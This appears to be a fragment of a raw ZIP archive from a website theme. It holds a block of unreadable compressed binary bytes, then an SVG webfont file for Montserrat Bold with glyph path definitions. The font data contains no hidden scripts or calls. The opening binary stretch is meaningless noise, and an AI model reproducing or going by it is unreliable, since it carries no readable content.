Cb�H)�Ck(��S��6�TR�Q)��N+�/�1,����;I��p�b�N�k%�ȀBi!���I'�'C0����-�mTbuZ�A	�2N-�AX`�=O#�������Cs���*���9�e$~�4��\wM�Ph�gI!]�E�4z$�-	 cE>6f�$�J�Y�ֺ_��R"isZ&�R���3�%�<�t�lB9Ba?�g���>�U"��@���Zƥ�B�q(?	��l�C_0W ���7'K+��`�&�3��/�+�6�5cf�㶔�K$��z(`jr���e��A����b��
�D�����s�Q$^�O!�,����X4:hk����3�%_�,$u@��qX�!)�������;�}���L������q�
����O:`���k�M��C��
{I�(���B�0;��8̧���›��]�Q��A$�5e�}���ϏT��'����uH�d����7٥�����k�Ԏ'�!�:E��9�_�o���'�/�����Tډ3>��r�s�����Ξ[�!r�d���\�m��.�BЅ�8ml��\/�uD�\!�:am8�AX�)Q�
9���?� JXݟ�ƽQ��)HΏl4�̊� �'NdF4s"��I���,���r�
%
1DŘ\^�$�ѿo㌳�1}�W�.�(fWô���BN�N��c�-�B �3�� �G��Z���N��]�U�nf�l�2<c��QZ�.حy���I����rA����CcOB�h˾�u��Y�����|\Ɇ
�?��υ	�g
�o�!�k\:�Ak>���N�lUۍ�U=���g��X��?,�PQSEk)6Kf��X (�QL[E���B��@��3���(L�v�ʢ��>m��kI��F��� ��0r�<b���8��D"	����PȤRdDA�H�Cc�كT�48�m�x��q�=�
��&8�p�U,���Gl���EH��VJ����ա0���O@^��1l�k�����`������?W&����5�VK��i&ˆ���r��ێ�
X���5
%bWf	�
Z"2�pP�ٹ�M��)��#_A0D�`h�P��\��9�8"�9�\���ߙ��8p�Zy���-a}Vmii"._�VE|��t�FƍÉЪB��Y ���+�ЎZ�G[�*�,���*�,~N�%s���A����U�Ł�-Ո�
JFZ�lc|�JOE�	%���!8"�FD�<e�&��1�G3kc�
H�߁.9�۞�#�
,���>��e��PZ��:��E�E�T�	����% e�J`E�J0-���`�d�!�Al���?��
{C��&�RN٥ytf�d�-	'��f�5q>8�!�e�tF%s%�1.{�/�@r��Y���[S0Э�%6����p1�c���5�hP�~|��Sjr��;�'܂�$|���e��xK���e2�2��R��_M��61������T�[!їi�
�2��
	б 7�/�R+�%�SH�E�M���X^	ȁ5~���	tG;ZMC=/�[�6�p�8�7�'��X3/�H�v�;��@�d^�W>�Jr�@��������oqe,��JFp�����x,���I���
Т���m	�3MQ�	�="ͶcP�l�M��x�d,�d��+��2zo�&�����R������|VC�N��W�/(��x]1�'�Vۉ��k�R��C6�"�4acJN��R�*�F.Ϋ�,[�J�����wx�����~��d����iz����B-O@$#�2�c�-�W�9ߡ7+x�Y��5����$9_W��'�#�D3`�N��C&/�8��z��Z�v���4h͙(�~,�C���z1�za�
�S�
��- �9�����dd5L3��]���Թ8��6n�Te���/���P	���ؖ/�mAU4o=�-q
DT!����@x�a� �ͅNh�3D f�oݶ��S�+���Q����BrM��VkN��CM���
�ƨ�]G_H�.�9��=�(��R��$l3��n
��?��/$a�G.e�����T!���ǒ&*�1�K<�V(C��<�Cx�T����.�
-�-mM�bHњ��JI25�1"Ы:JV%�� ���� �S"˲ax�(�PK!XFS0c0c=bluetheme/assets/fonts/Montserrat/montserrat-bold-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata></metadata>
<defs>
<font id="montserratbold" horiz-adv-x="1525" >
<font-face units-per-em="2048" ascent="1638" descent="-410" />
<missing-glyph horiz-adv-x="540" />
<glyph horiz-adv-x="0" />
<glyph horiz-adv-x="682" />
<glyph horiz-adv-x="0" />
<glyph horiz-adv-x="0" />
<glyph unicode="&#xd;" horiz-adv-x="681" />
<glyph unicode=" "  horiz-adv-x="540" />
<glyph unicode="&#x09;" horiz-adv-x="540" />
<glyph unicode="&#xa0;" horiz-adv-x="540" />
<glyph unicode="!" horiz-adv-x="645" d="M141 164q0 76 52.5 128t128 52t128 -52t52.5 -128t-52.5 -128t-128 -52t-128 52t-52.5 128zM141 1178v254h363v-254l-62 -738h-241z" />
<glyph unicode="&#x22;" horiz-adv-x="886" d="M145 883v549h244v-549h-244zM498 883v549h243v-549h-243z" />
<glyph unicode="#" horiz-adv-x="1529" d="M90 311l55 283h191l43 256h-219l55 283h211l55 331h310l-56 -331h185l55 331h311l-59 -331h215l-56 -283h-206l-43 -256h235l-55 -283h-227l-54 -311h-307l53 311h-186l-53 -311h-310l54 311h-197zM643 594h186q27 164 45 256h-186z" />
<glyph unicode="$" horiz-adv-x="1300" d="M74 244l190 231q160 -139 289 -178v305q-215 55 -315.5 148.5t-100.5 268.5t115 288.5t301 136.5v100h217v-104q205 -29 408 -170l-168 -242q-129 92 -240 123v-295q221 -57 326.5 -153.5t105.5 -272.5t-117.5 -290.5t-314.5 -137.5v-143h-217v149q-260 41 -479 236z M465 1046.5q0 -81.5 88 -124.5v237q-88 -31 -88 -112.5zM770 287q104 33 104 127q0 43 -22.5 71.5t-81.5 53.5v-252z" />
<glyph unicode="%" horiz-adv-x="1677" d="M131 1109q0 120 86 204t216 84t216 -84t86 -205t-86 -204t-216 -83t-216 84t-86 204zM143 0l1028 1432h351l-1026 -1432h-353zM348 1108q0 -45 23.5 -72.5t60.5 -27.5t61.5 27.5t24.5 72.5t-24.5 74.5t-60.5 29.5t-60.5 -29.5t-24.5 -74.5zM938 271.5q0 119.5 86 203.5 t216 84t216 -84t86 -204.5t-86 -203.5t-216 -83t-216 84t-86 203.5zM1155 270q0 -45 23.5 -72.5t60.5 -27.5t61.5 27.5t24.5 72.5t-24.5 75t-60.5 30t-60.5 -30t-24.5 -75z" />
<glyph unicode="&#x26;" horiz-adv-x="1433" d="M96 416q0 225 301 399q-68 82 -98.5 144.5t-30.5 146.5q0 174 126 266t298 92t294 -89t122 -249q0 -201 -293 -372q115 -143 172 -207q51 94 78 198l240 -172q-47 -129 -115 -239l203 -201l-203 -192l-178 182q-172 -139 -398.5 -139t-372 115.5t-145.5 316.5zM401 406 q0 -72 59.5 -119t154 -47t202.5 90q-150 158 -258 286q-158 -98 -158 -210zM575 1105q0 -54 82 -157q154 82 154 154q0 59 -37 90t-82 31t-81 -32t-36 -86z" />
<glyph unicode="'" horiz-adv-x="534" d="M145 883v549h244v-549h-244z" />
<glyph unicode="(" horiz-adv-x="741" d="M92 641q0 246 83 504t183 399h332q-123 -176 -208 -429t-85 -473t85 -474t208 -428h-332q-100 141 -183 398t-83 503z" />
<glyph unicode=")" horiz-adv-x="741" d="M51 -260q123 174 208 428t85 474t-85 473t-208 429h332q100 -141 183 -399t83 -504t-83 -503t-183 -398h-332z" />
<glyph unicode="*" horiz-adv-x="933" d="M113 1174l106 182l146 -96l-13 172h230l-13 -172l146 96l106 -182l-174 -87l172 -86l-104 -186l-146 100l13 -172h-230l13 172l-146 -100l-104 186l172 86z" />
<glyph unicode="+" horiz-adv-x="1196" d="M98 592v252h359v368h282v-368h359v-252h-359v-369h-282v369h-359z" />
<glyph unicode="," horiz-adv-x="608" d="M109 -203l77 228q-72 51 -71.5 133t55.5 134t133 52t134.5 -51t56.5 -120t-60 -165l-123 -211h-202z" />
<glyph unicode="-" horiz-adv-x="1003" d="M137 479v273h729v-273h-729z" />
<glyph unicode="." horiz-adv-x="589" d="M115 164q0 76 52 128t128 52t128 -52t52 -128t-52 -128t-128 -52t-128 52t-52 128z" />
<glyph unicode="/" horiz-adv-x="1257" d="M55 -229l858 1878h291l-860 -1878h-289z" />
<glyph unicode="0" horiz-adv-x="1413" d="M115 724q0 337 147.5 538.5t444.5 201.5t444 -201.5t147 -538.5t-147 -538.5t-444 -201.5t-444.5 201.5t-147.5 538.5zM428 723q0 -215 67.5 -346t211 -131t211 131t67.5 346t-67.5 346t-211 131t-211 -131t-67.5 -346z" />
<glyph unicode="1" horiz-adv-x="825" d="M63 1159v273h580v-1432h-307v1159h-273z" />
<glyph unicode="2" horiz-adv-x="1239" d="M94 1149q100 156 220 235.5t305.5 79.5t325.5 -117.5t140 -320.5q0 -111 -56 -212t-208 -259l-258 -268h565v-287h-1009v238l420 430q127 129 181 205.5t54 148.5t-47 120t-121 48q-135 0 -256 -193z" />
<glyph unicode="3" horiz-adv-x="1210" d="M74 152l131 254q203 -143 362 -144q96 0 158.5 47t62.5 136.5t-71.5 141.5t-198.5 52q-68 0 -190 -39v236l274 323h-448v273h876v-222l-293 -333q172 -29 266.5 -145t94.5 -267q0 -225 -152.5 -353t-390.5 -128t-481 168z" />
<glyph unicode="4" horiz-adv-x="1204" d="M74 342v244l510 846h348l-486 -814h203v250h307v-250h162v-276h-162v-342h-307v342h-575z" />
<glyph unicode="5" horiz-adv-x="1220" d="M100 199l168 233q18 -18 49 -45t113 -71t164 -44t145.5 49.5t63.5 145.5t-68.5 148.5t-177 52.5t-252.5 -78l-133 143v699h864v-277h-565v-240q63 18 145 19q207 0 356.5 -125t149.5 -337t-154.5 -350t-381.5 -138q-291 0 -486 215z" />
<glyph unicode="6" horiz-adv-x="1290" d="M115 713q0 197 48 345t132 234q164 172 405 172q100 0 191.5 -29.5t140.5 -60.5t109 -78l-152 -225q-12 12 -35.5 32.5t-93 53.5t-135.5 33q-133 0 -206 -89t-89 -243q133 86 283 86q201 0 335 -131t134 -349t-144.5 -349t-363.5 -131q-152 0 -263.5 58t-172.5 163 q-123 203 -123 508zM459 471q0 -90 61.5 -154.5t153.5 -64.5t153.5 57.5t61.5 148.5t-55.5 153.5t-150.5 62.5t-159.5 -56.5t-64.5 -146.5z" />
<glyph unicode="7" horiz-adv-x="1185" d="M96 973v459h1034v-242l-579 -1190h-348l553 1157h-361v-184h-299z" />
<glyph unicode="8" horiz-adv-x="1314" d="M111 430q0 223 178 361q-129 121 -129 284.5t142 276t355 112.5t354.5 -112.5t141.5 -277.5t-127 -283q178 -137 178 -361q0 -188 -151.5 -317t-395 -129t-395 129t-151.5 317zM430 438q0 -92 71.5 -140t155.5 -48t156 48t72 140t-70 141.5t-158 49.5t-157.5 -49.5 t-69.5 -141.5zM463 1045.5q0 -72.5 58.5 -122t136 -49.5t136 49.5t58.5 122t-57.5 122t-137 49.5t-137 -49.5t-57.5 -122z" />
<glyph unicode="9" horiz-adv-x="1288" d="M106 983q0 217 144.5 349t363.5 132q152 0 263.5 -58t175.5 -163q121 -203 121 -508q0 -197 -48.5 -345t-130.5 -234q-168 -172 -407 -172q-100 0 -192.5 29.5t-139.5 59t-109 77.5l160 225q14 -12 38 -31.5t91.5 -52.5t126.5 -33q133 0 206 89t89 243q-131 -88 -283 -88 q-201 0 -335 132t-134 349zM406 989q0 -90 53 -152.5t148 -62.5t158.5 55.5t63.5 145.5t-61 155.5t-153.5 65.5t-150.5 -58.5t-58 -148.5z" />
<glyph unicode=":" horiz-adv-x="634" d="M137 164q0 76 52.5 128t128 52t128 -52t52.5 -128t-52.5 -128t-128 -52t-128 52t-52.5 128zM137 702.5q0 75.5 52.5 128t128 52.5t128 -52.5t52.5 -128t-52.5 -128t-128 -52.5t-128 52.5t-52.5 128z" />
<glyph unicode=";" horiz-adv-x="645" d="M131 -207l80 227q-74 53 -74 135.5t55.5 134.5t134.5 52t135 -51t56 -118t-59 -169l-127 -211h-201zM137 702.5q0 75.5 52.5 128t128 52.5t128 -52.5t52.5 -128t-52.5 -128t-128 -52.5t-128 52.5t-52.5 128z" />
<glyph unicode="&#x3c;" horiz-adv-x="1230" d="M84 668v280l995 469v-301l-657 -303l657 -311v-303z" />
<glyph unicode="=" horiz-adv-x="1202" d="M102 340v252h998v-252h-998zM102 850v252h998v-252h-998z" />
<glyph unicode="&#x3e;" horiz-adv-x="1230" d="M152 199v303l657 311l-657 303v301l995 -469v-280z" />
<glyph unicode="?" horiz-adv-x="1073" d="M72 1026q23 205 149.5 321.5t318 116.5t311.5 -104.5t120 -288.5q0 -82 -20.5 -122t-29 -57.5t-38 -52t-39.5 -44.5q-49 -49 -93 -92.5t-58.5 -71t-14.5 -82.5v-123h-311v154q0 84 21.5 126t90.5 113l139 144q31 37 31 95t-32.5 97t-86 39t-89 -46t-44.5 -122h-325z M346 164q0 76 52.5 128t128 52t128 -52t52.5 -128t-52.5 -128t-128 -52t-128 52t-52.5 128z" />
<glyph unicode="@" horiz-adv-x="1824" d="M98 552q0 343 243 585.5t585 242.5t571 -233.5t229 -581.5q0 -225 -93 -361t-244 -136q-78 0 -142.5 47t-89.5 118q-113 -145 -286 -145t-301 131t-128 333t116 340t304 138q63 0 120.5 -27.5t82.5 -54.5l27 -26v84h256v-654q0 -102 61 -102q55 0 97 88t42 221 q0 289 -165.5 478.5t-444.5 189.5t-469 -199t-190 -476.5t179 -461.5t443 -184q207 0 365 151l84 -145q-82 -72 -209 -116t-240 -44q-342 0 -572.5 228.5t-230.5 571.5zM705 562.5q0 -99.5 52 -173.5t142 -74t142.5 71t52.5 173.5t-54.5 170t-142.5 67.5t-140 -67.5 t-52 -167z" />
<glyph unicode="A" d="M-10 0l618 1432h310l618 -1432h-340l-133 309h-600l-133 -309h-340zM584 590h358l-178 416z" />
<glyph unicode="B" horiz-adv-x="1411" d="M176 0v1432h557q145 0 251 -35t159 -94q96 -111 96 -250q0 -168 -109 -250q-37 -29 -51 -36t-51 -24q133 -29 212 -120t79 -226q0 -150 -102 -264q-119 -133 -414 -133h-627zM496 270h219q137 0 205.5 34t68.5 133.5t-72.5 131t-232.5 31.5h-188v-330zM496 852h151 q133 0 197.5 28.5t64.5 124t-59 126t-201 30.5h-153v-309z" />
<glyph unicode="C" horiz-adv-x="1499" d="M90 719.5q0 318.5 218 531.5t534 213q352 0 590 -268l-199 -225q-152 188 -377 188q-180 0 -308 -117.5t-128 -317.5t121 -320.5t293 -120.5q236 0 385 186l204 -211q-244 -274 -574.5 -274t-544.5 208.5t-214 527z" />
<glyph unicode="D" horiz-adv-x="1574" d="M176 0v1432h506q383 0 588 -187.5t205 -521.5t-200 -528.5t-609 -194.5h-490zM496 283h202q220 0 337.5 110.5t117.5 321.5t-117.5 324.5t-361.5 113.5h-178v-870z" />
<glyph unicode="E" horiz-adv-x="1339" d="M176 0v1432h1032v-285h-712v-295h641v-272h-641v-297h735v-283h-1055z" />
<glyph unicode="F" horiz-adv-x="1253" d="M176 0v1432h983v-281h-663v-309h630v-281h-630v-561h-320z" />
<glyph unicode="G" horiz-adv-x="1536" d="M94 719.5q0 318.5 218 531.5t526.5 213t535.5 -202l-166 -240q-96 84 -177 115.5t-175 31.5q-182 0 -307 -123.5t-125 -326.5t120 -325t285.5 -122t276.5 64v393h321v-508q-212 -237 -586 -237h-3q-315 0 -529.5 208.5t-214.5 527z" />
<glyph unicode="H" horiz-adv-x="1560" d="M176 0v1432h320v-598h569v598h319v-1432h-319v563h-569v-563h-320z" />
<glyph unicode="I" horiz-adv-x="671" d="M176 0v1432h320v-1432h-320z" />
<glyph unicode="J" horiz-adv-x="1138" d="M53 186l166 230q129 -139 270 -140q68 0 116 52.5t48 156.5v672h-424v275h746v-934q0 -256 -132 -383t-339 -127q-258 0 -451 198z" />
<glyph unicode="K" horiz-adv-x="1454" d="M176 0v1432h320v-588l540 588h396l-570 -633q74 -102 272.5 -382t297.5 -417h-373l-420 565l-143 -159v-406h-320z" />
<glyph unicode="L" horiz-adv-x="1163" d="M176 0v1432h320v-1147h610v-285h-930z" />
<glyph unicode="M" horiz-adv-x="1953" d="M176 0v1432h432l369 -787l371 787h430v-1432h-320v901l-387 -782h-190l-385 782v-901h-320z" />
<glyph unicode="N" horiz-adv-x="1673" d="M176 0v1432h299l703 -922v922h319v-1432h-319l-682 897v-897h-320z" />
<glyph unicode="O" horiz-adv-x="1691" d="M94 725q0 315 217 527t534.5 212t534.5 -212t217 -527t-217 -527t-534.5 -212t-534.5 212t-217 527zM422 723.5q0 -191.5 123 -325.5t302 -134t302 134t123 325.5t-123 327t-302 135.5t-302 -135.5t-123 -327z" />
<glyph unicode="P" horiz-adv-x="1386" d="M176 0v1432h506q330 0 480.5 -128t150.5 -393.5t-154.5 -388.5t-472.5 -123h-190v-399h-320zM496 676h215q159 0 216.5 64.5t57.5 188.5t-74.5 176t-232.5 52h-182v-481z" />
<glyph unicode="Q" horiz-adv-x="1693" d="M94 725q0 315 217 527t534.5 212t534.5 -212t217 -527q0 -223 -113.5 -401.5t-305.5 -266.5q18 -31 58 -52t83 -21t84 13t65 32q53 43 76 84l166 -199q-176 -186 -440 -186q-123 0 -242 67.5t-182 190.5q-317 0 -534.5 212t-217.5 527zM422 723.5q0 -191.5 123 -325.5 t302 -134t302 134t123 325.5t-123 327t-302 135.5t-302 -135.5t-123 -327z" />
<glyph unicode="R" horiz-adv-x="1488" d="M176 0v1432h543q334 0 476 -113t142 -363q0 -344 -272 -444l362 -512h-393l-317 457h-221v-457h-320zM496 733h233q164 0 223.5 53.5t59.5 169t-61.5 158.5t-215.5 43h-239v-424z" />
<glyph unicode="S" horiz-adv-x="1306" d="M74 236l190 233q231 -203 428 -203q88 0 138.5 38t50.5 102.5t-53.5 102.5t-211.5 77q-250 59 -365.5 154.5t-115.5 299t146.5 314t365.5 110.5q143 0 286.5 -49t250.5 -139l-162 -234q-186 141 -385 142q-80 0 -126 -38t-46 -100.5t56.5 -99.5t260 -87t316 -150.5 t112.5 -293t-144 -312t-380 -119.5q-340 0 -612 252z" />
<glyph unicode="T" horiz-adv-x="1245" d="M57 1155v277h1131v-277h-406v-1155h-319v1155h-406z" />
<glyph unicode="U" horiz-adv-x="1538" d="M156 631v801h319v-791q0 -172 80 -271.5t215 -99.5t214 99.5t79 271.5v791h319v-801q0 -311 -172 -478t-440 -167t-441 168t-173 477z" />
<glyph unicode="V" horiz-adv-x="1409" d="M-6 1432h346l365 -912l364 912h346l-575 -1432h-271z" />
<glyph unicode="W" horiz-adv-x="2086" d="M-6 1432h346l283 -824l254 824h333l252 -824l285 824h346l-500 -1432h-237l-314 995l-311 -995h-237z" />
<glyph unicode="X" horiz-adv-x="1423" d="M20 0l482 733l-449 699h383l273 -424l272 424h385l-446 -691l483 -741h-389l-305 471l-303 -471h-386z" />
<glyph unicode="Y" horiz-adv-x="1265" d="M-23 1432h347l309 -533l309 533h346l-495 -867v-565h-320v565z" />
<glyph unicode="Z" horiz-adv-x="1394" d="M94 0v219l750 936h-725v277h1161v-222l-748 -931h760v-279h-1198z" />
<glyph unicode="[" horiz-adv-x="765" d="M158 -274v1824h526v-231h-264v-1362h264v-231h-526z" />
<glyph unicode="\" horiz-adv-x="1171" d="M57 1550h310l745 -1550h-309z" />
<glyph unicode="]" horiz-adv-x="765" d="M82 -43h264v1362h-264v231h526v-1824h-526v231z" />
<glyph unicode="^" horiz-adv-x="989" d="M45 1579l281 363h338l280 -363h-293l-157 174l-156 -174h-293z" />
<glyph unicode="_" horiz-adv-x="1474" d="M137 -92h1200v-178h-1200v178z" />
<glyph unicode="`" horiz-adv-x="782" d="M102 1804l316 135l262 -364h-293z" />
<glyph unicode="a" horiz-adv-x="1216" d="M86 355q0 169 123 253t336 84h229v6q0 176 -186 176q-80 0 -169 -31.5t-151 -78.5l-137 199q216 157 492 157h4q201 0 327.5 -100t126.5 -318v-702h-288v133q-119 -150 -293 -150l-1 1q-175 0 -294 101t-119 270zM395 358q0 -59 44 -90.5t126 -31.5t144.5 50t62.5 134v53 h-192q-184 0 -185 -115z" />
<glyph unicode="b" horiz-adv-x="1363" d="M145 0v1520h308v-541q127 141 327.5 141t350 -156.5t149.5 -402.5t-153.5 -411.5t-349 -165.5t-324.5 161v-145h-308zM449 550q0 -134 74.5 -219t181 -85t186.5 85t80 218t-78 223t-186.5 90t-183 -89t-74.5 -223z" />
<glyph unicode="c" horiz-adv-x="1191" d="M82 550q0 253 173 411.5t411 158.5q119 0 240.5 -49t213.5 -145l-159 -209q-53 63 -130 98t-153 35q-121 0 -208 -79t-87 -219t87 -218t204 -78q154 0 276 154l183 -205q-213 -221 -461 -221t-419 156.5t-171 409.5z" />
<glyph unicode="d" horiz-adv-x="1363" d="M84 561q0 246 149.5 402.5t350 156.5t327.5 -141v541h308v-1520h-308v145q-129 -162 -323 -162l-2 1q-196 0 -349 165.5t-153 411.5zM393 549q0 -133 80 -218t186.5 -85t181 85t74.5 219t-74.5 223t-183 89t-186.5 -90t-78 -223z" />
<glyph unicode="e" horiz-adv-x="1265" d="M84 553q0 260 167 413.5t394 153.5t386 -137t159 -377v-164h-803q14 -90 94 -147t181 -57q162 0 266 108l172 -186q-186 -176 -437 -176t-415 154.5t-164 414.5zM395 662h484q-11 98 -74.5 151t-154.5 53t-166.5 -55t-88.5 -149z" />
<glyph unicode="f" horiz-adv-x="823" d="M74 870v222h129v67q0 180 109.5 285.5t272.5 105.5t296 -123l-111 -206q-67 77 -147 77h-2q-47 0 -78 -33.5t-31 -99.5v-73h266v-222h-266v-870h-309v870h-129z" />
<glyph unicode="g" horiz-adv-x="1366" d="M86 562q0 245 152.5 401.5t349 156.5t325.5 -162v146h308v-961q0 -147 -51.5 -261.5t-137.5 -180.5q-170 -135 -401 -135q-123 0 -251 40t-224 113l118 232q152 -115 321 -115t267.5 84t98.5 266q-145 -162 -360 -162h-1q-217 1 -365.5 147t-148.5 391zM395 575.5 q0 -131.5 77 -212t187.5 -80.5t184.5 79.5t74 212t-74 208t-182.5 75.5t-187.5 -75.5t-79 -207z" />
<glyph unicode="h" horiz-adv-x="1308" d="M145 0v1520h308v-541q139 141 312 141t292 -123t119 -327v-670h-308v602q0 254 -186 254q-92 0 -160.5 -66.5t-68.5 -195.5v-594h-308z" />
<glyph unicode="i" horiz-adv-x="598" d="M119 1370q0 76 52 128t128 52t128 -52t52 -128t-52 -128t-128 -52t-128 52t-52 128zM145 0v1102h308v-1102h-308z" />
<glyph unicode="j" horiz-adv-x="702" d="M-123 -303l141 227q60 -71 136 -71h2q41 0 67.5 32t26.5 95v1124h307v-1149q0 -180 -109.5 -284.5t-268.5 -104.5t-302 131zM223 1370q0 76 52.5 128t128 52t128 -52t52.5 -128t-52.5 -128t-128 -52t-128 52t-52.5 128z" />
<glyph unicode="k" horiz-adv-x="1218" d="M145 0v1520h308v-781l342 365h387l-420 -447l436 -657h-364l-281 422l-100 -105v-317h-308z" />
<glyph unicode="l" horiz-adv-x="598" d="M145 0v1520h308v-1520h-308z" />
<glyph unicode="m" horiz-adv-x="2013" d="M145 0v1102h308v-125q127 143 290 143q104 0 189.5 -61.5t128.5 -149.5q63 100 170.5 155.5t216.5 55.5q195 0 313.5 -115.5t118.5 -334.5v-670h-309v602q0 254 -187 254q-92 0 -159.5 -66.5t-67.5 -195.5v-594h-309v602q0 131 -40 192.5t-129 61.5t-157.5 -66.5 t-68.5 -195.5v-594h-308z" />
<glyph unicode="n" horiz-adv-x="1308" d="M145 0v1102h308v-123q139 141 313 141t292 -123t118 -327v-670h-308v623q0 254 -186 254q-92 0 -160.5 -67t-68.5 -196v-614h-308z" />
<glyph unicode="o" horiz-adv-x="1329" d="M82 551q0 240 166 404.5t416.5 164.5t416.5 -164.5t166 -404.5t-166 -403.5t-416.5 -163.5t-416.5 163.5t-166 403.5zM391 551q0 -135 77 -220t196.5 -85t196.5 85t77 220t-77 221t-196.5 86t-196.5 -86t-77 -221z" />
<glyph unicode="p" horiz-adv-x="1363" d="M145 -397v1499h308v-123q141 141 333.5 141t343 -160.5t150.5 -404.5t-150.5 -407.5t-352.5 -163.5t-324 161v-542h-308zM449 550q0 -134 74.5 -219t181 -85t186.5 85t80 218t-78 223t-186.5 90t-183 -89t-74.5 -223z" />
<glyph unicode="q" horiz-adv-x="1363" d="M84 550q0 249 153.5 409.5t342 160.5t329.5 -141v123h310v-1499h-310v485q-131 -104 -299 -104q-211 0 -368.5 158.5t-157.5 407.5zM393 550q0 -134 80 -219t186.5 -85t180 85t73.5 219t-73.5 223t-182 89t-186.5 -89t-78 -223z" />
<glyph unicode="r" horiz-adv-x="841" d="M145 0v1102h308v-146q59 68 148 115t181 49l2 -289h-59q-137 0 -204.5 -97t-67.5 -257v-477h-308z" />
<glyph unicode="s" horiz-adv-x="1064" d="M55 158l135 192q172 -133 367 -133q59 0 94 23.5t35 62.5t-48 72t-139 61.5t-139.5 49t-109.5 59.5q-125 78 -125 230.5t123 248.5t317.5 96t388.5 -131l-114 -205q-144 98 -286 98q-1 0 -1 1q-141 0 -141 -78q0 -43 45 -67.5t149.5 -57.5t148.5 -50.5t105 -54.5 q115 -70 115 -232.5t-120 -260.5t-304 -98q-123 0 -256 44t-240 130z" />
<glyph unicode="t" horiz-adv-x="901" d="M74 881v221h129v330h309v-330h266v-221h-266v-494q0 -63 33 -99t78 -36q86 0 145 78l115 -215q-143 -131 -302 -131t-268.5 104.5t-109.5 284.5v508h-129z" />
<glyph unicode="u" horiz-adv-x="1310" d="M133 434v668h309v-600q0 -254 187 -254q92 0 159.5 66.5t67.5 193.5v594h309v-1102h-309v145q-115 -162 -295 -162l-1 1q-181 0 -304 113.5t-123 336.5z" />
<glyph unicode="v" horiz-adv-x="1200" d="M6 1104h320l274 -694l274 694h320l-436 -1104h-316z" />
<glyph unicode="w" horiz-adv-x="1847" d="M27 1102h317l215 -666l215 666h297l215 -666l215 666h320l-375 -1102h-320l-202 600l-205 -600h-318z" />
<glyph unicode="x" horiz-adv-x="1198" d="M27 0l385 561l-365 541h367l188 -295l195 295h360l-379 -539l393 -563h-366l-215 303l-209 -303h-354z" />
<glyph unicode="y" horiz-adv-x="1208" d="M8 1102h328l268 -686l268 686h328l-512 -1299q-45 -113 -140 -175t-212 -62q-162 0 -305 131l139 227q78 -76 160 -76q43 0 73.5 42t30.5 89.5t-426 1122.5z" />
<glyph unicode="z" horiz-adv-x="1132" d="M86 0v254l520 594h-481v254h889v-240l-535 -606h565v-256h-958z" />
<glyph unicode="{" horiz-adv-x="737" d="M76 510v250h94q47 0 47 86v411q0 293 307 293h113v-250l-43 3q-90 0 -90 -80v-428q0 -109 -76 -160q76 -49 76 -158v-446q0 -68 133 -68v-250h-113q-307 0 -307 293v420q0 84 -47 84h-94z" />
<glyph unicode="|" horiz-adv-x="565" d="M156 -299v1890h254v-1890h-254z" />
<glyph unicode="}" horiz-adv-x="737" d="M100 -37l43 -2q90 0 90 80v428q0 109 76 160q-76 49 -76 157v447q0 68 -133 67v250h113q307 0 307 -293v-419q0 -84 47 -84h95v-250h-95q-47 0 -47 -86v-412q0 -293 -307 -293h-113v250z" />
<glyph unicode="~" horiz-adv-x="1095" d="M51 649q14 164 96 247t211 83q74 0 201 -65.5t172 -65.5q68 0 68 88q0 20 -6 45l245 -66q-12 -170 -90 -246.5t-194 -76.5q-70 0 -200 66.5t-169 66.5t-65.5 -39t-24.5 -111z" />
<glyph unicode="&#xa1;" horiz-adv-x="651" d="M145 0v270l60 738h241l62 -738v-270h-363zM145 1284q0 76 52.5 128t128 52t128 -52t52.5 -128t-52.5 -128t-128 -52t-128 52t-52.5 128z" />
<glyph unicode="&#xa2;" horiz-adv-x="1224" d="M94 549q0 225 137.5 376.5t341.5 184.5v236h197v-234q209 -31 363 -186l-160 -209q-84 96 -203 123v-572q53 16 101.5 51t70.5 62l21 29l182 -205q-170 -178 -375 -211v-234h-197v232q-203 33 -341 182.5t-138 374.5zM395 552q0 -103 49.5 -175t128.5 -101v551 q-79 -30 -128.5 -101t-49.5 -174z" />
<glyph unicode="&#xa3;" horiz-adv-x="1286" d="M119 559v258h164v211q0 254 130 369.5t341 115.5q283 0 430 -258l-228 -184q-33 76 -84 119t-112.5 43t-108.5 -46.5t-47 -146.5v-223h320v-258h-320v-287h570v-272h-1047v272h156v287h-164z" />
<glyph unicode="&#xa4;" horiz-adv-x="1558" d="M115 154l176 180q-94 137 -94 314t90 315l-172 174l192 194l182 -182q133 72 291 72t289 -74l182 184l193 -194l-172 -176q90 -139 90 -312.5t-96 -314.5l178 -180l-191 -195l-190 193q-135 -70 -287.5 -70t-279.5 70l-191 -193zM516 651q0 -129 74 -212t188.5 -83 t188 83t73.5 212t-73.5 211t-188 82t-188.5 -82t-74 -211z" />
<glyph unicode="&#xa5;" horiz-adv-x="1517" d="M70 1430h348l338 -584l350 584h346l-397 -662h225v-197h-360v-112h360v-197h-360v-262h-334v262h-365v197h365v112h-365v197h234z" />
<glyph unicode="&#xa6;" horiz-adv-x="602" d="M164 -47v704h274v-704h-274zM164 838v706h274v-706h-274z" />
<glyph unicode="&#xa7;" horiz-adv-x="1273" d="M102 643q0 86 50.5 163t144.5 118q-111 78 -111 211q0 168 125 273t320 105q135 0 241.5 -37.5t223.5 -123.5l-154 -219q-172 131 -315 131q-66 0 -104 -31t-38 -83t48.5 -84t191.5 -69q246 -59 352.5 -142t106.5 -239q0 -207 -209 -292q131 -88 131 -236.5t-125 -253 t-334 -104.5q-293 0 -538 223l172 207q215 -180 372.5 -180t157.5 98q0 49 -57.5 84t-240.5 88t-297 140t-114 253zM375 651q0 -78 99 -128t253 -50q78 0 131 34t53 89q0 84 -121.5 125t-220.5 41q-194 0 -194 -111z" />
<glyph unicode="&#xa8;" horiz-adv-x="1087" d="M195 1415.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5zM590 1415.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5z" />
